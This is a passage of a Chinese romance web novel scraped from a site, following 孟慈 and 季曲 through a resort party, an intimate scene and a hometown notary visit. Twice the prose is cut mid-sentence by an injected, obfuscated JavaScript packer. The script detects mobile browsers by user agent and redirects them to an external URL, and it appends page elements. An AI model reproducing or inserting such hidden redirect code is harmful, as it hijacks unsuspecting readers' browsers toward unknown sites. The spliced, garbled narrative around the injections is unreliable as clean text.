“这就俗了吧?孟慈挣的不比彩票多?”黄景峰的手笨,红包也包的慢,手边只垒了一小沓。 孟慈又拆了一沓新钱,看了看剩余的,又想起自己一会儿还有安排,便让方萤再去叫些帮手进来。 “一会儿干嘛去?”黄景峰是个人精,一眼就看出来孟慈有些急。 孟慈也不藏着掖着:“季曲的朋友回来了,叫我们去山里玩。” 黄景峰:“陈家那位?” 孟慈:“嗯,一年也见不了几次。” 手里的活逐渐熟练,两个人一边聊天一边做,也不算枯燥。 聊到一半,孟慈突然想到何冉和安翰的事。 “安家的事听说了吗?”孟慈问的委婉,毕竟事事都有变数。 黄景峰又包好一个,手边也逐渐垒起小山,“你说哪件?” 怎么和季曲说话一个德行,孟慈撑开红包数了十张塞进去,“你知道哪件?” “我都知道。”黄景峰笑笑。 把红包口撑的更大,孟慈又塞了十张,然后封口塞到黄景峰的西服口袋,笑眯眯地看着他,“黄总也辛苦了。” 把红包往口袋底部按了按,黄景峰才故作姿态地清清嗓子开口:“安东升投资失败整了个大窟窿,安翰想填,但是有心无力,何冉倒是有心有力,私下帮衬了一把,目前看来应该是过了难关。” 孟慈追问:“那安翰的婚事?” 黄景峰意外似的挑眉:“孟总,季家的事我们可打听不出来,您应该清楚啊?” 孟慈还想问,方萤那边已经带着人推门进来,两人对视一眼只能作罢。 有了帮手,不到一个小时活几句干完了。 孟慈和黄景峰带着红包一层楼一层楼的发,吉祥话说得孟慈嘴皮子都疼,好在大家开心,也算值得。 季曲已经到了,黄景峰说要和季曲打个招呼,便和孟慈一起下楼。 重复动作做的太多,孟慈按揉指根,已经开始酸痛。 “估计吃不到大明星的喜酒喽。”黄景峰似是无意的提了一句。 “这么肯定?”孟慈停止动作,看向黄景峰。 电梯也到了,黄景峰绅士地按住电梯门,做了手势,请孟慈先行。 “所以我说的是估计。” 这个结果,是大多数人对目前情况的推断。 孟慈先上车,季曲和黄景峰在外面说了三两分,也可能更久,不过孟慈注意力不在他们身上,也因此无法做出判断。 上车后,季曲看到孟慈抱着手机,页面停留在安娜的聊天页。 季曲握住孟慈的左手,在她掌心轻轻划了划:“想知道什么?” 孟慈被唤回神:“嗯?” 季曲重复道:“想知道什么问我就行。” “没什么。”孟慈收回手机放到一旁,“包了好多红包,手指都发酸。” 季曲了然似的给孟慈做手部按摩:“没给我包一个?” “你又不是我的员工,没给我挣钱,也没为我劳动。” “我还没为你劳动?”季曲装作吃惊,“我都怕我辛苦的哪天死在你身……唔……” 孟慈透过后视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15539659|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镜看了眼前排的司机,一如既往的闭耳塞听,这才放心地转回头看着被自己捂住嘴的季曲:“你再瞎说我就不搬了。” 好不容易才说动孟慈进入同居生活,季曲可不想功亏一篑,只能连忙点头,还装模作样地伸出三根手指,似要发誓。 孟慈信也不信,季曲不信神佛,只是敬之尊之。 “李港的庄子还远。”季曲把孟慈的头揽到自己肩膀,又用毛毯盖在孟慈的腿上,“睡吧,到了叫你。” 上午十点才起床,现下也才四点过一刻,季曲是把自己当猪养。 这么想着,孟慈懒得反驳,与其和季曲再多说废话,不如自己静悄悄地待着。 但是路程确实远,再加上司机师傅的开车技术好,季曲还时不时地在自己身上像哄小孩一样地拍,一晃神,孟慈倒真的困了,再睁眼的时候,已经进了山庄。 说是山庄,其实就是联排的别墅区,建造时多用了几分心思,吃喝玩乐的娱乐设施应有尽有。 往小了说棋牌室、唱歌房、台球桌都是必备。 往大了瞅马场、营地、高尔夫球场也都拿得出手。 夜幕低垂,一伙人在室外架起了烧烤摊。 第一波菜品快熟的时候,季曲才拉着孟慈的手慢悠悠地走进去。 “得儿,闻着肉味来的?”李港远远地就看到两人,等到了跟前才放下手中的烤全羊起来打招呼。 “转行了?”季曲闻闻,“烤的还挺香,给你盘店咱们做餐饮得了,流水大门槛低。” 李港笑着说行啊,每天烤一只羊专供季曲用。 两个人斗完嘴,李港的眼睛才转到孟慈身上。 “弟妹也来啦?冷不冷啊穿这么点?山里头晚上可凉,不比那城市里。”李港看着穿了件风衣外套的孟慈不免替她打寒战。 孟慈自然笑着回应,李港说不过也不打紧,一会儿吃点肉喝点酒,什么寒冰体质也能暖过来。 期间大师傅提醒烤全羊该翻个面了,李港应了一声,连忙走到炉子旁操作。 “还真要转行啊?”季曲从一旁倒了杯热茶递给孟慈暖手,是鲜亮的玫瑰花茶。 “这只羊可是我去羊场亲自挑的,从脱毛到穿肠,让你尝尝我的手艺。”李港站在火炉前,信誓旦旦地说自己的手艺可是难得一见的好。 季曲笑笑,烟火味太呛,他拉着孟慈坐在一旁观看,懒得自己动手。 就在李港正自信满满地展示自己的撒料手法时旁边多了一个女生,她拿着毛巾温柔地粘掉李港流落的汗。 回忆了几秒,孟慈得到了相关信息。 她靠在季曲耳边:“这不是上次唱歌的那位?” 季曲用手梳理好孟慈被吹乱的发丝,从自己的手腕上取下皮筋一圈圈地扎好,“好记性啊慈慈。” “她怎么……”脱口而出几个字,孟慈便又住了嘴。 “怎么?”季曲摸摸孟慈的头,手滑到肩膀把人拢进怀里。 孟慈摇头:“没怎么。” 不就是情情爱爱的那些弯绕。 你方唱罢我登场,演员总得有谢幕的时候,台上的主角,谁有本事和谁上。 烤全羊快要出炉,季曲被李港叫走,说是非要让季曲看看色泽,季曲无奈,和孟慈说自己一会儿就回来。 “我又不是小孩子。”孟慈摆手催季曲离开。 男人们说好哄也好哄,一只烤全羊而已,都比不得他们身上最便宜的一件物品,偏偏一个个乐得像小孩儿一样。 孟慈坐在原位,换了杯热茶。 “你好,我是邓姚,之前那晚谢谢你。”李港的女伴不知道什么时候过来的,她坐在孟慈对面的椅子上,笑意盈盈,“要不然我嗓子该废了。” 孟慈笑笑:“我没做什么,他只是差个台阶。” 这句话意有所指太过明显,两人同时看向烟雾缭绕中的李港。 “赌大小的时候他分心几次,不是你错了词,就是乱了调,他的心思根本不在牌桌上。”孟慈扒了只砂糖橘,满盈的汁水溅了满手。 邓姚见状递来湿巾:“你怎么知道?” 孟慈道谢接过,擦净粘腻的汁水,抬眸看向邓姚略疑惑的眼,缓缓道:“因为我的心思也不在牌桌上。” 34. 第 34 章 那边的烤全羊差不多好了,香气四溢,李港拿着小刀说要让季曲先割第一口。 季曲略意外:“这么客气?” 李港指着刺啦冒油的羊背,说季曲多想了,赶紧先吃一口,旁边那么多人等着呢,偏偏季曲还不动手。 等得着急,李港干脆自己上手片了一块,直接送到季曲嘴边。 “我亲自喂你。”李港事出反常。 季曲伸手挡住,挑眉看着李港,耐心等待。 终于李港先败下阵,把手里的羊肉放到小碟子里,取了两杯酒揽着季曲往人群外走了几步。 这是有私事,大家都看得出来,纷纷避让留出空间。 “也不是什么大事。”李港揽着季曲的脖子,“你记得我奶奶有个贼喜欢的小徒弟吗?” 李港的奶奶是顶尖高校的知名教授,十几年前收完最后一届关门弟子便办了退休,其中有一位最受喜爱,李港的奶奶还特地推荐人留了校。 “记得,前段时间回去做讲座恰好碰到,还聊了两句。”季曲摇着杯中酒,落珠挂壁,晶莹剔透,“你什么时候开始喝红酒了。” 李港端着酒杯在和季曲手中的轻轻一碰:“求人办事就得有求人办事的态度不是?” 季曲没喝,示意李港先说。 “石骏庭。”李港替季曲回忆,“你把人公司都快搞垮的那个,是我奶奶那个得意门生的学生,人家求到我头上了,问能不能给条活路。” 季曲没忘了这个人:“撑不住了?” 李港冷哼:“早撑不住了,公司已经进入破产清算环节,听说是好不容易爬上来的,家里还有个年事已高的老父亲要养。” “我又没抢他爸的钱。”季曲不以为然。 “一句话的事,能不能手下留情?”要不是奶奶亲自提了一嘴,李港根本懒得管这些闲事,季曲这个人极有分寸,一般情况下不会把人逼到倾家荡产的份上。 穿过人群烟雾,季曲的目光精准捕捉。 孟慈安稳地端坐在沙发上,腿上围了块红毛毯,刚好与她耳垂上的朱砂交映,在漆黑背景中夺人心神,不知道和人聊了什么,手指捏着砂糖橘瓣慢慢的吃,倒是放松。 酒醒到了,季曲举杯饮尽,入口丝滑,用空杯子磕了磕李港手里的杯壁,叮当脆响。 “等过起年我去看看奶奶,好久没去拜访。” 这是不肯放手的意思,李港心下了然。 反正话他已经带到,季曲不愿意,谁也没办法,只能怪石骏庭有眼不识泰山,蜉蝣撼树一场空。 师傅在给羊肉改刀,两人说完话过去,刚好能取上。季曲挑了盘瘦肉多的,抬脚往孟慈那边走,李港也拿了一盘,不紧不慢地跟上。 “就这么喜欢?”李港不由得感叹,毕竟季曲来之前特地点了自己,薄娴最近忙,这种消遣活动没必要邀她。 “嗯。”季曲淡淡地回应,想都没想。 李港有些后怕:“薄娴知道的话会不会把我杀了?” 季曲随意道:“大夫说了,到了年节跟前她状态会不稳定,应该多在家休养。” 薄娴的心理医生还是李港托人介绍的,每次去上海复查,季曲忙的话都是李港跟在薄娴旁边打点。 李港怼了季曲一句:“你倒是遵医嘱。” 季曲笑:“当然。” 盘子里的砂糖橘下了一半,孟慈又取了一个新的剥。 小时候每逢过年孟擎都会成箱成箱地往家里搬砂糖橘,时令水果,大家唠着嗑一下午就能吃半箱。 季曲不让孟慈吃太多,说是上火,现下季曲不在,自然放开了吃。 用指尖把橘子上附着的白色梗络统统撕掉,还没等剥完一半,季曲就从孟慈的手里把整个抢走塞到嘴里吃掉。 孟慈皱眉:“你要吃就自己剥,抢我的干嘛。” 季曲从桌子上抽了张湿巾,牵过孟慈的十指挨个擦拭,把橙黄的汁水一点点擦净。 季曲:“你以为我想吃?” 孟慈:“那你嘴里在嚼什么?” 十指恢复嫩白,季曲端起盘子,用叉子插了块羊肉喂到孟慈嘴边,“我那是怕你上火,替你解决掉。” “我又没吃多少。”孟慈微微扭头,躲开季曲的手。 这话一出,也不知道谁该心虚,季曲扫了眼垃圾桶里有些冒尖的橘子皮,没说话。 “不是我吃的。”孟慈脸不红心不跳,“你刚刚吃的是我剥的第一个。” 季曲顺着接了句:“那我是不是还得再给你剥一个。” 孟慈直接伸手挑了一只圆鼓鼓的,放到季曲手心,下巴轻抬,姿态像只被宠坏的小猫。 季曲无奈,只能动手剥,修长的手指翻动几下,果肉便露了出来。 孟慈指着上面的橘络:“不要这些。” 于是季曲又一根一根地剥尽。 到这儿为止,孟慈终于舍得张开唇瓣,任由季曲一瓣一瓣的把果肉喂到嘴里。 旁边的李港不由得看呆了眼,季曲这回是来真的。 一伙人晚上围着篝火又喝又闹,一直到天际泛白才停歇。 季曲带着孟慈回房间整理好躺下已经能看到太阳的一个边角,季曲抱着孟慈替她找到舒服的姿势,在孟慈额间落下一个吻,孟慈嘤咛一句,两个人没一会儿就睡着了。 孟慈后来是被季曲喊醒的。 “他们要去骑马,走吗?”季曲捏了捏孟慈的耳垂,语气温柔。 孟慈摇头,顺带把脸往被子里缩了缩。 “那我去了?你再睡一会儿。” 把手从温暖的被窝里伸出来,孟慈凭借仅存的意识随便朝着某个方向摆,和季曲再见,没动几下就被抓住。 季曲在孟慈的手背上亲亲,然后把她的手放回被子里,轻手轻脚地起床穿衣。 又睡了很久,孟慈起床时已经下午三点。 她给季曲发去消息,慢悠悠地洗完澡坐在梳妆镜前吹头发,差不多半干时,裴沛刚好打来视频,孟慈接起。 对面已经黑天,裴沛在煮茶。 “怎么了?”孟慈给头发擦上护发精油,又拿梳子从发顶到发丝慢慢地理。 裴沛:“没事,问问你在哪过年?” 还没和妈妈说自己和季曲的关系转变,顿了顿,孟慈撒了个小谎。 “我就和朋友出去玩玩,可能去旅游。” “去旅游都不来我这儿?”裴沛略微不满。 “我那不是没那么多时间,过起年就要回学校那边,我不喜欢坐那么久的飞机。”孟慈温声细语地解释。 裴沛叹了口气,哪来的朋友,哪个中国人大年三十不回家团圆还在外面乱跑,自己生的闺女是什么性格,她自然知道,思绪一转,找了个折中的法子,问:“要不然回去看看你爷爷奶奶?” 这倒是个不错的提议,孟慈有些赞同,回答道:“我看看时间吧。” 裴沛泡茶的手艺很好,一浓二淡,以前总能看到她拿着一套茶具慢慢地沏。 孟慈听裴沛那边有些吵:“钱叔叔的孩子们到了?” 裴沛点头:“前天就来了,和单位请了几天假。” “那就好好玩。”孟慈笑笑。 母女俩又寒暄一会儿,孟慈说自己约了朋友吃饭,要出门去,裴沛便又安顿了七七八八的事,然后才挂了电话。 头发已经干透了。 不知道是橘子吃多了还是睡得太晚,孟慈起来之后就一直嗓子疼,再加上和裴沛说了这么久的话,越发明显地不适。 清咳了几声。 “嗓子疼?”季曲不知道什么时候来的,站在卧室门口看着孟慈,身上的骑装还没来得及换。 孟慈点头。 “说了不让你吃那么多,上火了吧?” 季曲走到跟前,让孟慈张嘴,孟慈依着他。 “都有点肿了。”季曲手捏在孟慈的下巴处仔细观看,正经地像个大夫,甚至还要用手机打灯去照。 即使再亲密的事都做过,孟慈也对被人直勾勾地看自己的嗓子眼感到抗拒,因此在季曲打开手电筒的刹那,便拍开季曲的手,转回身。 季曲也没恼,双手从孟慈背后穿过,撑在桌子边。 在镜子里看到两人相依,孟慈对上季曲镜中的眼,眨眨。 “他们晚上要赌马,一会儿吃个饭,咱们过去?” “谁比?”孟慈喉咙干痛,能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553029|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少说话就少说话。 季曲贴住孟慈的侧脸,软软滑滑的。 “从外面请了专业的人,我去洗个澡,你先收拾着。” 孟慈点头。 男人收拾起来简单,饶是季曲这么讲究的洗澡换衣半个小时也就搞定了,但是对女人来讲,半个小时只是起步打底。 季曲先收拾完便坐在沙发上静静地等,刚好手头也有工作要处理,埋首专注地做完后,李港那边已经催人下楼。 抬腕一看,已经过去两个小时,刚想出声问孟慈怎么样了,就看到孟慈从衣帽间探出个小脑袋冲他招手。 “怎么了?”季曲走到跟前,孟慈转身。 连身的长裙在背中央做了拉链,现下拉锁头卡在一半的位置刚好露出雪白的后背,和一条细细的黑色内/衣带。 孟慈把头发统统捋到左前侧,头也微微低着,背对季曲 “卡住了?”季曲站在孟慈身后,嗓音低沉,“我帮你?” 懒得说话,孟慈稍微抬抬肩膀,季曲自然知道该做什么。 季曲左手握住孟慈的腰,另一只手去拉拉锁,试了几下,丝毫不动。 “你扶着点衣柜,卡的太深了,我怕一用劲把你晃倒。”季曲的呼吸随着话语喷在孟慈后脖颈的细白皮肤上。 其实是想干脆换一件的,孟慈打算再让季曲试最后一次,双手便听话地扶住黑色柜门。 腰间的布料紧紧松松,孟慈知道季曲在使劲,便一直低着头。 过了很久,脖子都酸了,季曲还没弄好。 烦躁劲再次冒上头,孟慈回头找人说话却说了个空。 “刺啦”一声,拉锁解开了。 孟慈循着声音低头看,季曲不知道什么时候单膝跪在地毯上,拉锁头捏在他的指间,回到最初的位置。 背后的深V开到最大,从肩胛骨到脊柱的最后一节,都暴露在外面。 季曲的眼神缓缓地从拉链移到孟慈脸上,一望无际的平原上突然蹦出个火星子。 飞快地,燃点成团,猛烈地燃烧起来。 季曲就这么直白地与孟慈对视,在她的注视下,在深V顶端,烙下滚烫的吻。 双唇略分开,舌尖刮在皮肤上,用力一吮,殷红的印子出现。 季曲的手不知道什么时候在裙角出现,握上孟慈纤细的脚腕,重重摩挲。 微弱的电流感霎时间过了四肢,酥麻感满溢。 早知道就应该直接换一件,叫什么季曲帮忙,现下喊停已经来不及了。 孟慈刚想转身就被季曲施力按回。 他的手沿着脚腕上移,沿着皮肤纹路来到腿/根,人也站起来压上孟慈的后背。 口袋里的手机又在震动,季曲用空余的手掏出来,是李港来电,滑动接起。 李港:“怎么还不下来?澳洲空运来的大龙虾啊,再不来没了。” 季曲用牙齿在雪白的肩胛骨轻轻磨,单手摸到孟慈背后的搭扣,轻轻一弄,应声崩开。 他有更美味的餐点要用。 胸口一松,孟慈咬着双唇,生怕发出一点儿声音被对面听见。 “不去了,一会儿马场见。”季曲说完直接挂了电话扔到一边,还贴心的按灭了衣帽间的灯。 掰过孟慈背对自己的脸,季曲好心的把被咬得泛白的唇拯救出来,然后换上自己的唇。 “舍生取义”般的可贵。 澄红色的夕阳从窗户缝漏进来,刚好照亮交叠在一起的绰约人影。 黑色的西装裤压在玉色蜀锦,其间还有莹白的皮肤,只不过每每漏出一点就被季曲再次遮住,终归看不真切。 这一通闹下来,孟慈的嗓子彻底哑了,能发出的声音几近于无。 孟慈侧着倒在地毯上缓劲儿,喘气不匀,微弱的夕阳在她的肩背上逐渐下落。 季曲倒是依旧衣冠楚楚,只乱了腰间的一点儿。 双臂穿过孟慈的后背与腿弯,季曲把人抱到怀里,问孟慈一会儿要穿哪条裙子。 孟慈撑起眼皮剜了季曲一眼,因为疲惫,再狠厉的眼神也失去力度。 最后还是季曲自己挑了一条给孟慈换上,哄了又哄才半搂着人出了门。 第19章【VIP】 第19章 第19章“让我抱一会儿。”…… 传真机在酒店的办公楼层。 除了值班的工作人员,办公室已经空了大半。 指示灯滴滴地响,内容通过机器一点点传输过来。 孟慈坐在会客室的沙发里。 还捏着那支从一楼大厅带上来的纸杯。 “凉了吧。” 季曲伸出两根手指触摸,把杯子抽出来,原本光滑的杯壁已经有了褶皱。 空了的手揣到外套兜,顺带缩了缩脖子。 孟慈把大半张脸都埋到围巾里,只留下一双眼。 她的目光落在某个地方,很久才眨一下。 季曲等着取纸。 默认俗成般的。 季曲在的时候孟慈一般不用动手,只需要静静地等,就能享有一切。 季曲捏着薄薄的纸张在眼前扫读。 然后拆开牛皮纸袋和其他材料放在一起。 不算薄也不算厚的一沓,几乎讲得完孟慈的绝大部分人生。 称得上私密的资料就这么捏在别人手里。 孟慈面上没有一点急迫担忧。 季曲不是别人。 他对她的了解远比面前的这一沓纸要厚重。 “什么时候的事?”季曲把牛皮纸袋装到包里,手撑在桌面轻敲,规律的响声让孟慈更思绪疲乏。 “前年夏天。”孟慈隔着围巾开口,原本就低的声音更弱了些。 好在四周安静。 季曲默默在心里计算。 也就是和自己分开后的小半年里。 季曲对于孟慈父亲的了解仅限于资料和孟慈本人的叙述,“意外?” “生病。” 孟慈的睫毛长而直。 平视的时候会投到眼尾。 形成小小的一滩阴翳,像盛夏繁茂枝叶簇成的阴凉。 谈论这些时,孟慈的眼底没什么情绪,眉头也平整,像是日常闲聊。 季曲知道,孟慈就这个性格。 和谁相处都像隔着琉璃玻璃。透明璀璨的一层,引人深入又拒人千里。 即使是连着血脉骨肉的至亲。 窗外的路灯灭了一盏,像是坏了。 孟慈突然开口:“饿了。” 季曲抬头:“嗯?” “我今天只喝了一杯咖啡。” 孟慈的眼神终于又出现焦点,汇聚在季曲身上,眼睛眨眨,释放了些亲昵。 车子平稳地行驶在马路。 孟慈靠着车窗打了个哈欠。 自觉得要精神点,便又支起头用手指在车玻璃上涂涂画画。 车内外温差大,玻璃上起了些雾。 季曲在一旁低头看文件。 一直到孟慈停手才抽了张纸巾递过去,顺便又握了下孟慈的手。 还好,不算太凉。 海城唯一的一家米其林餐厅。 预约都要提前一个月的地方。 季曲说去就去。 乘观光电梯上楼。 孟慈看着越来越远的地面和越来越小的人影,忽地想起来刚刚路口的烤红薯。 单独的小炉子,碳块烧得通红。 抽出来时还有芝麻大小的火星子在蹦。 “有烤红薯吗?” “想吃?” “嗯。” 说完话孟慈又把脸埋到围巾里。 季曲把她蹭乱的碎发别在耳后,温柔体贴地说了句好。 米其林餐厅不提供点菜服务,每日按例售卖,菜单只根据当季时令来定,自然没有烤红薯上桌。 “那就算了。” 季曲看着孟慈一圈圈地绕开围巾,脱下大衣交给服务生,多少有些闹脾气。 “能不能加一道?”季曲客气地问,“我另外支付。” 经理一早就知道季曲的身份,听到这儿,也没再好拒绝,只说要问问厨师。 幸运的是后厨刚好有红薯,厨师也愿意做。 经理来桌前问需要怎么烹饪,孟慈说带皮烤熟就好。 经理又看了季曲一眼,他也点头。 “好的,一会儿就帮您上菜。”经理颔首离开。 插在牛排和烤蔬菜中间。 半只手掌大小的红薯装在金箔装饰的盘子中上桌,上面还淋着蜂蜜。 孟慈拿起叉子刮了一小块送到嘴里,就是红薯的味道。 孟慈用叉子有一下没一下地戳红薯,果肉逐渐由软至烂。 在红薯彻底变成红薯泥之前,季曲抬手叫服务生撤走餐盘,换了水果挞上来。 蓝莓被烤得口感怪异。 孟慈干脆把果肉挑出来单独吃挞身。 奶味十足,挞皮酥脆,比起开始好吃不少。 一顿饭就这么吃完了。 季曲第二天下午没什么安排,把孟慈送回房间后顺势约她出去。 孟慈把着门,没给季曲留通过的缝隙,“我还有正事要做。” 季曲依旧站在门外:“明天上午十点,有人来接你,一个小时就能搞定。” 孟慈没故作姿态,反而坦荡,“谢谢。” 季曲双手插兜倚在门上,深邃的眼眶一敛,笑得风流,“就没了?” 吃人嘴短,拿人手软。 理智还在周身搜寻有什么能给季曲回报。 但是明显,季曲只对一件事感兴趣。 看出来孟慈的踌躇,季曲笑笑,向前迈了一步,进屋关门。 靠在厚重的门板上伸手一拉,把还在思考的孟慈圈进怀里。 “让我抱一会儿。” 屋子里还没开灯。 两人在黑暗中默契噤声。 肢体交缠间凭空多了几分卿卿我我的姿态。 孟慈靠在季曲胸膛上,隔着硬挺的衬衫布料,呼吸由急变缓,像是进入了一场熟悉舒适的冥想。 季曲的手放在孟慈后背,沿着脊柱来回抚摸,不轻不重地刮过骨肉。 “回来怎么样?”季曲的呼吸贴在孟慈头顶,像一句绵长的叹。 “我已经回来了。”孟慈也伸手圈住季曲瘦劲有力的腰肢,加深这个怀抱。 “我是说…回我身边。”季曲低头,把孟慈的脸掰起来与自己对视,“我错了,慈慈。” 屋外寒风凛冽。 即使隔着玻璃都能听到吓人的呼啸。 孟慈突然想到酒店楼前的公园。 那里的湖面结了薄薄的一层冰,被顽皮的小孩踩出裂缝。 即使湖边竖着“冰面承重能力有限”“冰层厚度难以判断”的安全提示。 冰层的裂痕仿佛又在孟慈心底出现,一块块地破碎。 孟慈人不如其名。 一副心肠生的硬又满是看不懂摸不清的弯转。 看着孟慈一副爱莫能助的模样。 似是低姿态的,季曲用鼻尖蹭了蹭孟慈。 又把人拉回怀里,双臂比之前锁紧几分,埋首在她颈侧,贪婪地吸吐。 “我能不能在这儿睡?” “不能。” 怎么问都得不到想要的回答。 季曲开始耍无赖,对他来说是手拿把掐的伎俩。 “我那屋暖气坏了。” “找前台换一间。” “我喝多了头有些痛。” “你的酒是中午喝的,早该醒了。” “我换了地儿睡得不踏实。” “我身边有人也睡得不踏实。” 话说到这儿,季曲也摸清了孟慈的底儿。 季曲叹气:“我说的都是借口。” 孟慈抬眼:“我知道。” 从温暖怀抱中抽身,孟慈握住门把,瞥了季曲一眼。 意思是让他从门板上起来,赶紧离开。 季曲拉住门把,刚好也摁住孟慈,一个侧身围在孟慈背后,贴近。 “我想和你一起,什么都不干也好。”季曲的嗓子有些哑,像是泡了陈年酒,“这句是真心话。” “慈慈,我好想你。” 一连两次,熟悉的落锁声再次响起。 季曲气到无语。 孟慈这把硬骨头,估计死后送到焚烧炉都烧不成灰。 手里还残留着香味,指腹碾在一起搓。 季曲胸口堵着气,转身离开。 洗完澡后,孟慈终于做好情绪分割。 她从冰箱里取了一瓶纯净水,拧开盖子喝了几口,从口腔到胃里都跟着冷下来。 门铃响了。 “您好,客房服务。” 孟慈皱眉,季曲怎么没完没了。 走到门口通过猫眼朝外看,只有一位服务生。 解锁开门,服务生操着标准的待客微笑,送上一支纸袋。 疑惑接过,孟慈问这是什么,服务生说是季先生让送的,随后便道了晚安离开。 关上门往回走。 纸袋一开香味就跑出来,两只胖乎乎的烤红薯,不似刚出炉滚烫,却仍有余温。 孟慈脚步一顿,心里突然沉甸甸的。 嗓子眼有些梗得慌,好像冰水也能噎人一样。 与此同时手机也响了,是季曲的消息。 【那个老大爷下班了,在周围又找了别家买的,明天再去。】 季曲是会疼人的。 只要他想。 那是与生俱来的天分。 第二天的流程走得很顺利。 孟慈几乎没怎么说过话,除了公证时的常规问答环节。 极简单地,事办完了。 司机说季曲中午定了饭店,问孟慈要先回酒店还是直接去饭店。 孟慈选了C选项。 她让司机离开,说自己还有事要做。 到达旧家时不过十二点。 太阳高高地挂在天空,周身温度都随之上升。 手里攥着钥匙,孟慈站在楼下一时间没敢上去。 爸妈离婚之后自己跟着妈妈生活,只有过年过节才偶尔回来一次。 实在是近乡情怯。 中午大家都下班放学,小区里的人很多。 没一会儿便碰到熟人。 “小慈?是小慈吧?”同楼栋的阿姨拎着背包回来,她的单位就在出了小区的下个路口,每天中午都会回家。 “李阿姨好。”孟慈回过头,笑着打了招呼。 “怎么今天回来了?妈妈回来没?”李婷是个热心肠,小时候爸妈总是加班,她没少给孟慈送晚饭。 “就我回来,有些事要办。” “哦,去看爷爷了吗?” “还没呢,没来得及。” 知道孟慈家的情况,李婷作为外人也不好多说什么,只能讪讪一笑,然后冷场。 “您先回去吧。” “哎,行,那我先走了,小孙子还在家等着呢。” 老小区就是这样,熟人多。 没一会儿又碰到爸爸的同事,不免又一顿寒暄。 还没等孟慈说什么,那位就握着孟慈的手先流了两行泪,倒整得孟慈哭笑不是。 正尴尬时,肩上突然多了一件外套,季曲极其自然地把孟慈的手解救出来,自己握上去,“谢谢您惦记。” “这是?”爸爸同事的泪还没来得及擦干。 “我是小慈男朋友。”季曲说谎连脸都不红。 “哎呦,我们小慈谈了这么好的男朋友,哎呦,真是可惜老孟没看到。”爸爸同事说着说着又悲从中来。 季曲往前一步,将孟慈挡住,自已应付,直到把人送走。 “你怎么来了?” “接我女朋友吃饭。”季曲把孟慈肩上的外套拢紧,又细心地将长发抽出来,“走吗?还是你想回家看看。” 其实早就算不上家了。 孟慈抬头看了眼六层,阳光正刺眼。 “吃饭吧,我饿了。” “好。”【你现在阅读的是 】 第20章【VIP】 第20章 第20章干燥的唇瓣叠在一起 中午季曲定了家私房菜。 位置偏僻到连孟慈这个本地人都不知道。 极具民族特色的建筑色彩明艳,在冬日枯黄的地上硬生生造出一抹瑰丽。 “下午出去玩?”季曲夹了一块鱼肚子上的肉,正在挑刺。 “这是我老家。”孟慈有些无语。 “那怎么了?”季曲把处理好的鱼肉夹到孟慈碗里,肉质紧实,一点都没散。 孟慈显然没什么胃口,筷子在自己的碗里挑拣半天才往嘴里送一口。 两个人面对面坐着,季曲又挑了一块烤得冒油的羊排沾满佐料递到孟慈盘子里,一样受了冷落。 可能是从回了海市之后就没好好进食。 孟慈的肠胃逐渐不适,闻到太过油腻刺激的味道不免反胃。 连忙端起小碗里的酸辣汤压了压,还没等放下碗就对上了季曲探询的眼。 “怀上了?” “不好笑。” 孟慈面无表情地放下碗夹了一筷子菠菜。 “那怎么了?” “不舒服。”孟慈自觉吃的再多不一定会吐,便放了筷子,“想回去睡觉。” 季曲再次发问:“不想逛逛?” 孟慈歪头:“睡醒再说?” 孟慈没什么胃口。 季曲也跟着放了碗筷。 他原本就没什么口腹之欲。 华婉安排的营养师配的药剂足够提供他身体必须的一系列营养物质。 季曲饭后去找老板,让孟慈先上车等着。 离开时又把外套披在孟慈身上。 孟慈总是不喜欢穿得多或厚,她讨厌臃肿。 季曲也就习惯了多带一件外套,或者把自己的脱下来给她。 毕竟男人抗冻一点。 车子停在整个景区的最外侧。 孟慈沿着栈道往外走,风挟着粗粝的沙吹得她几次驻足。 可能是长大了,逐渐懂得大家为什么思乡。 即使什么都不做,站在故乡的土地上吹吹风也是好的。 孟慈没着急上车,而是站在枯黄的草地上望着远方接连不断的山而出神。 季曲和饭店的老板简单打了声招呼。 自己之后还要在这里宴请当地的合作方,提前提了些备菜要求。 刚出门就看到孟慈站在离车不远的野地里。 枯草淹没她的短靴,露出一截细白的小腿。 再往上是白色裙摆,和季曲的黑色大衣压在一起。 层层叠叠地与风荡在空中。 风掀起她的发,挑露出高挑的眉弓,柔和的棱角,殷红的唇成为她周身除黑之外的唯一色彩点缀。 季曲碾灭手中的烟,站在孟慈身后审视着,过了一会儿才开口:“孟慈,我们回去了。” 孟慈回头,季曲已经走到跟前,伸出手,“地上碎石子多。” 思衬几秒,孟慈递上自己的手。 季曲的手掌温暖而干燥。 他轻轻一握,包裹住孟慈已经冰凉的指尖,下滑,直到握住孟慈的整只手。 回到酒店后,孟慈觉得头发被风吹得发锈,下意识得觉得自己身上也都是沙子,干脆去浴室洗澡。 收拾好吹干头发出来之后,发现季曲竟然穿着睡衣躺在自己的床上。 见她出来极为贴心地掀开了另一侧的被子。 孟慈皱眉:“你怎么在这儿?” “就只记得晚上锁门?”季曲笑,明着耍赖。 “回你自己房间。” “辛苦办事,没有酬劳?” 怎么人岁数涨了,脸皮也跟着更厚了。 “或者你先睡?我去客厅,等你睡着再进来。”季曲一副悠哉模样,反倒整得孟慈手足无措。 “…随你。” 孟慈也知道自己一连拒绝这么多次,属实也没什么意思。 